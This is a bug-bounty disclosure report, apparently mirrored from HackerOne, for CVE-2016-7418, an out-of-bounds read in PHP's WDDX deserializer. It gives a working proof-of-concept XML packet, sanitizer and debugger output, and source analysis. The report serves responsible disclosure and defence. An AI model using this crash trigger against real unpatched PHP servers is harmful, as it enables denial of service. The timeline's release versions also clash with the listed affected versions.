Lucene search

K
hackeroneBinvulH1:170618
HistorySep 20, 2016 - 2:33 a.m.

Internet Bug Bounty: CVE-2016-7418 PHP Out-Of-Bounds Read in php_wddx_push_element

2016-09-2002:33:52
binvul
hackerone.com
29

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.016 Low

EPSS

Percentile

85.4%

CVE-2016-7418 PHP Out-Of-Bounds Read in php_wddx_push_element

1. Affected Version

  • PHP 7.0.10
  • PHP 5.6.25

2. Credit

This vulnerability was discovered by Ke Liu of Tencent’s Xuanwu LAB.

3. Testing Environments

  • OS: Ubuntu
  • PHP: 7.0.10
  • Compiler: Clang
  • CFLAGS: -g -O0 -fsanitize=address

4. PoC

There are five similar issues in function php_wddx_push_element, but I’ll just demonstrate one issue here. More proof-of-concept files are available at PHP BUG 73065.

<?php
    $xml = <<<XML
<?xml version='1.0' ?>
    <!DOCTYPE et SYSTEM 'w'>
    <wddxPacket ven='1.0'>
        <array>
            <var Name="name">
                <boolean value="keliu"></boolean>
            </var>
            <var name="1111">
                <var name="2222">
                    <var name="3333"></var>
                </var>
            </var>
        </array>
    </wddxPacket>
XML;
    
    $array = wddx_deserialize($xml);
    var_dump($array);
?>

5. Vulnerability Details

AddressSanitizer output the following exception information.

==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 
    (pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
    #0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
    #1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
    #2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
    #3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
    #4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
    #5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
    #6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
    #7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
    #8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
    #9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
    #10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
    #11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
    #12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
    #13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
    #14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
    #15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
    #16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
    #17 0x449578 in _start (php-src/sapi/cli/php+0x449578)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING

AddressSanitizer indicates that this is a NULL pointer dereference issue. However, if we debug it under GDB, we’ll find out that this can be a Out-Of-Bounds read issue.

(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
31	../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory.

(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>:	movdqu (%rdi),%xmm1

(gdb) i r $rdi
rdi            0x74656b6361507801	8387227955626014721

(gdb) x/20xb $rdi
0x74656b6361507801:	Cannot access memory at address 0x74656b6361507801

To some degree, the value of rdi register can be controlled. For example, value 0x74656b6361507801 can be expressed as \x01xPacket. This can be controlled in the XML code in the proof-of-concept file.

>>> '74656b6361507801'.decode('hex')[::-1]
'\x01xPacket'

6. Source Code Analysis

The code lead to this issue is listed as follows.

790  if (atts) for (i = 0; atts[i]; i++) {
791      if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
792          if (stack->varname) efree(stack->varname);
793          stack->varname = estrdup((char *)atts[i]);
794          break;
795      }
796  }

Testing data to trigger this issue is listed as follows.

atts[0] = 0x0000000000cf8699  "Name"
atts[1] = 0x0000000000cf783c  "name"   EL_NAME
atts[2] = 0x0000000000000000  NULL
atts[3] = 0x74656b6361507801  ????

Here atts[2] was not checked in the for loop but in the if statement (checked when evaluating atts[++i]). So when entering the if statement next time, strcmp(atts[3], EL_NAME) would cause an Out-Of-Bounds read issue.

7. Timeline

  • 2016.09.12 - Found
  • 2016.09.12 - Reported to PHP via 73065
  • 2016.09.12 - Fixed
  • 2016.09.15 - Assigned CVE-2016-7418
  • 2016.09.15 - PHP 7.0.10 and PHP 5.6.25 Released

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.016 Low

EPSS

Percentile

85.4%